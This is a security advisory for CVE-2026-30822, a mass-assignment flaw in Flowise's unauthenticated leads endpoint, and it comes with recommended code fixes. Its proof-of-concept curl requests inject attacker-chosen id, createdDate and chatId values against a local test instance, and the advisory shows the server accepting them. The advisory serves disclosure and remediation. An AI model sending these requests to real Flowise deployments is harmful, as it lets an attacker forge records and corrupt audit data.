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GHSA-mq4r-h2gh-qv7x CVE-2026-30822

Flowise Allows Mass Assignment in `/api/v1/leads` Endpoint

High npm
Severity
7.7 / 10
High · CVSS 3.0
Exploit chance (EPSS)
13.43%
Chance of exploitation in the next 30 days. Higher than 96.43% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes
Fix
3.0.13
Upgrade flowise to this version or later

Description

Summary

A Mass Assignment vulnerability in the /api/v1/leads endpoint allows any unauthenticated user to control internal entity fields (id, createdDate, chatId) by including them in the request body.

The endpoint uses Object.assign() to copy all properties from the request body to the Lead entity without any input validation or field filtering. This allows attackers to bypass auto-generated fields and inject arbitrary values.

Field Value
Vulnerability Type Mass Assignment
CWE ID CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
Authentication Required None
Affected Endpoint POST /api/v1/leads

Details

Root Cause

The vulnerability exists in /packages/server/src/services/leads/index.ts at lines 27-28:

// File: /packages/server/src/services/leads/index.ts
// Lines 23-38

const createLead = async (body: Partial<ILead>) => {
    try {
        const chatId = body.chatId ?? uuidv4()

        const newLead = new Lead()
        Object.assign(newLead, body)  // ← VULNERABILITY: All properties copied!
        Object.assign(newLead, { chatId })

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

The Object.assign(newLead, body) on line 28 copies ALL properties from the request body to the Lead entity, including:

  • id - The primary key (should be auto-generated)
  • createdDate - The creation timestamp (should be auto-generated)
  • chatId - The chat identifier

Lead Entity Definition

The Lead entity at /packages/server/src/database/entities/Lead.ts uses TypeORM decorators that should auto-generate these fields:

// File: /packages/server/src/database/entities/Lead.ts

@Entity()
export class Lead implements ILead {
    @PrimaryGeneratedColumn('uuid')  // Should be auto-generated!
    id: string

    @Column()
    name?: string

    @Column()
    email?: string

    @Column()
    phone?: string

    @Column()
    chatflowid: string

    @Column()
    chatId: string

    @CreateDateColumn()  // Should be auto-generated!
    createdDate: Date
}

However, Object.assign() overwrites these fields before they are saved, bypassing the auto-generation.

Why the Endpoint is Publicly Accessible

The /api/v1/leads endpoint is whitelisted in /packages/server/src/utils/constants.ts:

// File: /packages/server/src/utils/constants.ts
// Line 20

export const WHITELIST_URLS = [
    // ... other endpoints ...
    '/api/v1/leads',  // ← No authentication required
    // ... more endpoints ...
]

Proof of Concept

<img width="1585" height="817" alt="Screenshot 2025-12-26 at 2 28 00 PM" src="https://github.com/user-attachments/assets/807984e7-ae4f-4e8a-85b7-057d6ac42ff5" />

Prerequisites

  • Docker and Docker Compose installed
  • curl installed

Step 1: Start Flowise

Create a docker-compose.yml:

services:
  flowise:
    image: flowiseai/flowise:latest
    restart: unless-stopped
    environment:
      - PORT=3000
      - DATABASE_PATH=/root/.flowise
      - DATABASE_TYPE=sqlite
      - CORS_ORIGINS=*
      - DISABLE_FLOWISE_TELEMETRY=true
    ports:
      - '3000:3000'
    volumes:
      - flowise_data:/root/.flowise
    entrypoint: /bin/sh -c "sleep 3; flowise start"

volumes:
  flowise_data:

Start the container:

docker compose up -d
# Wait for Flowise to be ready (about 1-2 minutes)
curl http://localhost:3000/api/v1/ping

Step 2: Baseline Test - Normal Lead Creation

First, create a normal lead to see expected behavior:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "normal-chatflow-123",
    "name": "Normal User",
    "email": "normal@example.com",
    "phone": "555-0000"
  }'

Expected Response (normal behavior):

{
    "id": "018b23e3-d6cb-4dc5-a276-922a174b44fd",
    "name": "Normal User",
    "email": "normal@example.com",
    "phone": "555-0000",
    "chatflowid": "normal-chatflow-123",
    "chatId": "auto-generated-uuid",
    "createdDate": "2025-12-26T06:20:39.000Z"
}

Note: The id and createdDate are auto-generated by the server.

Step 3: Exploit - Inject Custom ID

Now inject a custom id:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "attacker-chatflow-456",
    "name": "Attacker",
    "email": "attacker@evil.com",
    "phone": "555-EVIL",
    "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"
  }'

Actual Response (vulnerability confirmed):

{
    "id": "aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee",
    "name": "Attacker",
    "email": "attacker@evil.com",
    "phone": "555-EVIL",
    "chatflowid": "attacker-chatflow-456",
    "chatId": "auto-generated-uuid",
    "createdDate": "2025-12-26T06:20:40.000Z"
}

⚠️ The attacker-controlled id was accepted!

Step 4: Exploit - Inject Custom Timestamp

Inject a fake createdDate:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "timestamp-test-789",
    "name": "Time Traveler",
    "email": "timetraveler@evil.com",
    "createdDate": "1970-01-01T00:00:00.000Z"
  }'

Actual Response (vulnerability confirmed):

{
    "id": "some-auto-generated-uuid",
    "name": "Time Traveler",
    "email": "timetraveler@evil.com",
    "chatflowid": "timestamp-test-789",
    "chatId": "auto-generated-uuid",
    "createdDate": "1970-01-01T00:00:00.000Z"
}

⚠️ The attacker-controlled timestamp from 1970 was accepted!

Step 5: Exploit - Combined Mass Assignment

Inject multiple fields at once:

curl -X POST http://localhost:3000/api/v1/leads \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowid": "any-chatflow-attacker-wants",
    "name": "Mass Assignment Attacker",
    "email": "massassign@evil.com",
    "phone": "555-HACK",
    "id": "11111111-2222-3333-4444-555555555555",
    "createdDate": "2000-01-01T12:00:00.000Z",
    "chatId": "custom-chat-id-injected"
  }'

Actual Response (vulnerability confirmed):

{
    "id": "11111111-2222-3333-4444-555555555555",
    "name": "Mass Assignment Attacker",
    "email": "massassign@evil.com",
    "phone": "555-HACK",
    "chatflowid": "any-chatflow-attacker-wants",
    "chatId": "custom-chat-id-injected",
    "createdDate": "2000-01-01T12:00:00.000Z"
}

⚠️ ALL three internal fields (id, createdDate, chatId) were controlled by the attacker!

Verification

The exploit succeeds because:

  1. ✅ HTTP 200 response (request accepted)
  2. ✅ id field contains attacker-controlled UUID
  3. ✅ createdDate field contains attacker-controlled timestamp
  4. ✅ chatId field contains attacker-controlled string
  5. ✅ No authentication headers were sent

Impact

Who is Affected?

  • All Flowise deployments that use the leads feature
  • Both open-source and enterprise versions
  • Any system that relies on lead data integrity

Attack Scenarios

Scenario Impact
ID Collision Attack Attacker creates leads with specific UUIDs, potentially overwriting existing records or causing database conflicts
Audit Trail Manipulation Attacker sets fake createdDate values to hide malicious activity or manipulate reporting
Data Integrity Violation Internal fields that should be server-controlled are now user-controlled
Chatflow Association Attacker can link leads to arbitrary chatflows they don't own

Severity Assessment

While this vulnerability doesn't directly expose sensitive data (unlike the IDOR vulnerability), it violates the principle that internal/auto-generated fields should not be user-controllable. This can lead to:

  • Data integrity issues
  • Potential business logic bypasses
  • Audit/compliance concerns
  • Foundation for chained attacks

Recommended Fix

Option 1: Whitelist Allowed Fields (Recommended)

Only copy explicitly allowed fields from the request body:

const createLead = async (body: Partial<ILead>) => {
    try {
        const chatId = body.chatId ?? uuidv4()

        const newLead = new Lead()
        
        // ✅ Only copy allowed fields
        const allowedFields = ['chatflowid', 'name', 'email', 'phone']
        for (const field of allowedFields) {
            if (body[field] !== undefined) {
                newLead[field] = body[field]
            }
        }
        newLead.chatId = chatId
        // Let TypeORM auto-generate id and createdDate

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create(newLead)
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

Option 2: Use Destructuring with Explicit Fields

const createLead = async (body: Partial<ILead>) => {
    try {
        // ✅ Only extract allowed fields
        const { chatflowid, name, email, phone } = body
        const chatId = body.chatId ?? uuidv4()

        const appServer = getRunningExpressApp()
        const lead = appServer.AppDataSource.getRepository(Lead).create({
            chatflowid,
            name,
            email,
            phone,
            chatId
            // id and createdDate will be auto-generated
        })
        
        const dbResponse = await appServer.AppDataSource.getRepository(Lead).save(lead)
        return dbResponse
    } catch (error) {
        throw new InternalFlowiseError(...)
    }
}

Option 3: Use class-transformer with @Exclude()

Add decorators to the Lead entity to exclude sensitive fields from assignment:

import { Exclude } from 'class-transformer'

@Entity()
export class Lead implements ILead {
    @PrimaryGeneratedColumn('uuid')
    @Exclude({ toClassOnly: true })  // ✅ Prevent assignment from request
    id: string

    // ... other fields ...

    @CreateDateColumn()
    @Exclude({ toClassOnly: true })  // ✅ Prevent assignment from request
    createdDate: Date
}

Additional Recommendation

Consider applying the same fix to other endpoints that use Object.assign() with request bodies, such as:

  • /packages/server/src/utils/addChatMessageFeedback.ts (similar pattern)

Resources


Affected versions

npm

PackageVulnerableFixed in
flowise
< 3.0.13
3.0.13

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

flowise npm → 3.0.13

npm
npm install flowise@3.0.13
yarn
yarn add flowise@3.0.13
pnpm
pnpm add flowise@3.0.13

Severity breakdown

CVSS 3.0 7.7

CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:L

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
Low

Weakness

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

How to prevent it
  • Implementation: If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists. For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
  • Architecture and Design, Implementation: If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
  • Implementation: For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.
  • Implementation, Architecture and Design: Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
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Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
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GHSA-5xvg-pmgg-3mxr
Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
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GHSA-gmmw-qg98-6j6p
Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
High Also affects flowise
GHSA-8gj2-2cvc-6xx7
Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials
Medium Also affects flowise
GHSA-fm2f-4339-4p2f
Flowise: Missing Authorization on Execution Update Endpoint
Medium Also affects flowise
GHSA-wch5-xp77-fxg4
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
High Also affects flowise
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